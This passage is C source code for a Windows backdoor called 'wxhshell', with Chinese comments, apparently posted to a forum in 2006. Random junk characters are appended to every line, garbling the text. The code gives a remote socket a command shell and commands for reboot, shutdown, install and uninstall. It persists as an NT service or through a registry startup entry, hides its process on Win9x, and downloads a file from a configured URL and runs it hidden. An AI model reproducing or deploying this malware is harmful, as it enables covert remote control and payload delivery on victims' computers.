B%[Yu3gBo  
    switch(cmd[0]) { j2V^1  
  wPyfne?~,  
  // 帮助 mkgDg y  
  case '?': { xse8fGs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,|D<De\v&  
    break; kid@*.I  
  } u1rT:\G1  
  // 安装 _pL:dKfy7  
  case 'i': { L~>pSP^a  
    if(Install()) l1nrJm8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N_wB  
    else Ww:,O48%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /alJN`g  
    break; Ubv<3syR'  
    }  `i;f  
  // 卸载 ,-D3tleu`  
  case 'r': { eX>x +]l6  
    if(Uninstall()) 4 1q|R[js!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (*F/^4p!$  
    else bs/Vn'CE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HZKqGkE  
    break; ^Yul|0*J  
    } 741Sd8  
  // 显示 wxhshell 所在路径 D&#wn.0|E  
  case 'p': { 0sIwU!=vm  
    char svExeFile[MAX_PATH]; 'a[|'  
    strcpy(svExeFile,"\n\r"); O!#r2Y"?K1  
      strcat(svExeFile,ExeFile); @#rF8;  
        send(wsh,svExeFile,strlen(svExeFile),0); B^nE^"b  
    break; P9c!   
    } ' >4 H#tu  
  // 重启 )H8Rfn?  
  case 'b': { Mh3Tfp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GKIO@!@[  
    if(Boot(REBOOT)) 9Zw{MM]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aYW 9 C<5  
    else { OO#_ 0qK  
    closesocket(wsh); c&X2k\  
    ExitThread(0); ~Z-o2+xA  
    } /-s-W<S[  
    break; X;'H@GU0  
    } (ZSd7qH"  
  // 关机 hh#p=Y(f  
  case 'd': { ?h\fwF3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {9B"'65o  
    if(Boot(SHUTDOWN)) $ra q,SP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z[|2od  
    else { RqB 8g  
    closesocket(wsh); A*^aBWFR  
    ExitThread(0); W-D{ cU  
    } (P'{A>aHl0  
    break; bY&!d.  
    } 8n??/VDRl  
  // 获取shell X)Zc*9XA  
  case 's': { h>k[  
    CmdShell(wsh); XCvL`  
    closesocket(wsh); Cg_9V4h.C  
    ExitThread(0); u'`eCrKT*  
    break; FJQ=611@  
  } !:baG]Y  
  // 退出 *{DpNV8"  
  case 'x': { duQ ,6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TAB'oLNp  
    CloseIt(wsh); 1 K(0tG:5  
    break; 0#Ae<  
    } 717S3knlv  
  // 离开 O#Ma Z.=  
  case 'q': { N1iP!m9Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )5Wt(p:T6_  
    closesocket(wsh); &$yxAqdab  
    WSACleanup(); +9exap27  
    exit(1); /#}o19(-d  
    break; ;x.5_Xw{.  
        } 3FY87R   
  } V9Pw\K!w#\  
  } 2:oAS  
oZ5 ,y+L4  
  // 提示信息 L9{y1'')  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y[!s:3\f  
} fDjJdRS"  
  } 4v.{C"M  
jZr"d*Y  
  return; ]$~\GE^  
} I >aKa  
dOX"7kZ  
// shell模块句柄 ?k`UQi]Q  
int CmdShell(SOCKET sock) 'D'H)J  
{ "O~7s}  
STARTUPINFO si; H7FOf[3'  
ZeroMemory(&si,sizeof(si)); 9CG&MvF c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O@HL%ha  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QpCTHpZ  
PROCESS_INFORMATION ProcessInfo; (}m2}  
char cmdline[]="cmd"; (&MtK1;;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %/oeV;D  
  return 0; Cz|F%>y#  
} NK\0X5##.  
i&^]qL|J  
// 自身启动模式 AO]k*N,N  
int StartFromService(void) w?V;ItcL  
{ Fe1XczB  
typedef struct !?)aZ |r  
{ I;Pd}A_}=_  
  DWORD ExitStatus; yXQ 28A  
  DWORD PebBaseAddress; ZZM;%i-B  
  DWORD AffinityMask; +;T\:'CU  
  DWORD BasePriority; j-#h^3l1?  
  ULONG UniqueProcessId; BD- c<K"  
  ULONG InheritedFromUniqueProcessId; Dy&{PeE!  
}   PROCESS_BASIC_INFORMATION; 5[LDG/{Tys  
BdB9M8fM  
PROCNTQSIP NtQueryInformationProcess; 6<fcG  
\1sWmN6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n"w>Y)C(X)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \ [bJ@f*."  
.B?fG)'WsF  
  HANDLE             hProcess; cHC1l  
  PROCESS_BASIC_INFORMATION pbi; GXi)3I%  
_MW W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7jw5'`;)"  
  if(NULL == hInst ) return 0; !i_~<6Wa7  
 {b|V;/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q[c:A@oW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B[~Q0lPih  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D@%!|:  
5(t hDZ!  
  if (!NtQueryInformationProcess) return 0; 40aD\S>  
(y s<{Y-;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F9k}zAY\J  
  if(!hProcess) return 0; 4C[kj  
2 ?F?C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z.`0  
97dF  
  CloseHandle(hProcess); =)}Yw)  
5/R ~<z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O03F@v  
if(hProcess==NULL) return 0; >9y!M'V  
;6$W-W _  
HMODULE hMod; +&r=XJ5:`p  
char procName[255]; L|8&9F\  
unsigned long cbNeeded; %%9T-+T  
p7W9?b9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0ybMI+*  
XMzQ8|]  
  CloseHandle(hProcess); =zR9^k  
Yyw9IYB;  
if(strstr(procName,"services")) return 1; // 以服务启动 @"B{k%+  
~x[(1  
  return 0; // 注册表启动 558!?kx$  
} sf O{.#5<  
]E.\ |I(  
// 主模块 {Y3:Y+2X3*  
int StartWxhshell(LPSTR lpCmdLine) kZ;Y/DH  
{ IOa@dUh7a,  
  SOCKET wsl; Wj8WT)cB  
BOOL val=TRUE; Gzp*Vr  
  int port=0; [b3$em<^JV  
  struct sockaddr_in door; 7Y)i>[u3  
V/xjI<,  
  if(wscfg.ws_autoins) Install(); 0+K<;5"63d  
`a[ V_4wO  
port=atoi(lpCmdLine); j )wrF@W  
7[0<,O6Q  
if(port<=0) port=wscfg.ws_port; ?w&?P}e +  
vXZ )  
  WSADATA data; \O]kf>nC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %jJIR88  
Q9c*I,O j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N/[!$B0H@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nbW.x7  
  door.sin_family = AF_INET; \~r_S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ps^["3e  
  door.sin_port = htons(port); *uSlp_;kB  
ZENblh8fs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +Ht(_+To1  
closesocket(wsl); T+PERz(  
return 1; TrNh,5+b  
} a]J>2A@-I  
l GJN;G7  
  if(listen(wsl,2) == INVALID_SOCKET) { h7 mk<  
closesocket(wsl); 'J)9#  
return 1; ;I6C`N  
} #%pY,AK:=  
  Wxhshell(wsl); E2tUL#  
  WSACleanup(); ] K+8f-  
3v&Shb?xb;  
return 0; `<#O8,7`  
 N!Xn)J  
} S~W;Ld<>fB  
efuiFN;  
// 以NT服务方式启动 Q[FDk63;w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wc#k@"2AZb  
{ r*ziO#[  
DWORD   status = 0; [ {HTGz@(  
  DWORD   specificError = 0xfffffff; ;Ah eeq746  
\mZB*k)+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lk` |u$KPz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )`S5>[6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L8oqlq( 9  
  serviceStatus.dwWin32ExitCode     = 0; UGvUU<N|N  
  serviceStatus.dwServiceSpecificExitCode = 0; ,Xg^rV~]  
  serviceStatus.dwCheckPoint       = 0; (,|eE)+  
  serviceStatus.dwWaitHint       = 0; Bc`L ]<  
a '?LC)^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UR(i_T&w  
  if (hServiceStatusHandle==0) return; t0za%q!fK<  
<dAxB$16sT  
status = GetLastError(); 7+Nl)d:C J  
  if (status!=NO_ERROR) EWq < B)  
{ wKoar  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o}D }Q"=A  
    serviceStatus.dwCheckPoint       = 0; 4;(W0RQa  
    serviceStatus.dwWaitHint       = 0; CtUAbR  
    serviceStatus.dwWin32ExitCode     = status; flz7{W  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7<(kvE*x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \w&R`;b8w  
    return; Iu(]i?Y  
  } ZXf& pqmG  
fF2] 7:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mRt/ d  
  serviceStatus.dwCheckPoint       = 0; :fUNc^\2  
  serviceStatus.dwWaitHint       = 0; U lCw{:#F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Nr}O6IJ>Sg  
} xZ* B}O{{H  
b2RW=m-  
// 处理NT服务事件,比如:启动、停止 9!0-~,o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vP_mS 4X  
{ ~mZ[@ Z  
switch(fdwControl) B,` `2\B  
{ N7GZ'-t^Er  
case SERVICE_CONTROL_STOP: }9N-2]  
  serviceStatus.dwWin32ExitCode = 0; W"\+jHF"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; of >  
  serviceStatus.dwCheckPoint   = 0; =L;g:hc<  
  serviceStatus.dwWaitHint     = 0; 7mn&w$MS4:  
  { sQ&<cBs2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C0khG9,BL  
  } 7W+{U0 2O  
  return; '}OAl  
case SERVICE_CONTROL_PAUSE: iG"1~/U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E_P,>f  
  break; Pj*]%V  
case SERVICE_CONTROL_CONTINUE: |h&okR+_,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JUJrtK S  
  break; di ]CYLf  
case SERVICE_CONTROL_INTERROGATE: b(adM3MP  
  break; L-m' #  
}; k4en/&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n\$.6 _@x  
} L+mHeS l  
#KuBEHr  
// 标准应用程序主函数 :bCswgd[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wzcv[C-x  
{ :H]MMe  
LG{50sP`  
// 获取操作系统版本 $O fZp<M  
OsIsNt=GetOsVer(); .&Sjazk0XO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0IHAoV60  
\5a;_N[Ed  
  // 从命令行安装 @y6^/'  
  if(strpbrk(lpCmdLine,"iI")) Install(); aU$8 0  
0d89>UB-8q  
  // 下载执行文件 K_;?Sr=  
if(wscfg.ws_downexe) { [<}W S} .  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zFY$^Oz"_  
  WinExec(wscfg.ws_filenam,SW_HIDE); +x?8\  
} };'~@%U]/  
.R#<Q  
if(!OsIsNt) { kt7Emb}  
// 如果时win9x,隐藏进程并且设置为注册表启动 aU#r`D@0  
HideProc(); !, sQB_09C  
StartWxhshell(lpCmdLine); 'oM=ZU8wo  
} Wd7qpWItjQ  
else X@/wsW(kM\  
  if(StartFromService()) q9\(<<f|  
  // 以服务方式启动 :3b\pEO9\  
  StartServiceCtrlDispatcher(DispatchTable); ]w]:9w  
else YllW2g:  
  // 普通方式启动 !G<gp4Js+N  
  StartWxhshell(lpCmdLine); q AsTiT6r  
1l^ `  
return 0; 5!57<n  
}
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只看该作者 1 发表于: 2006-10-10
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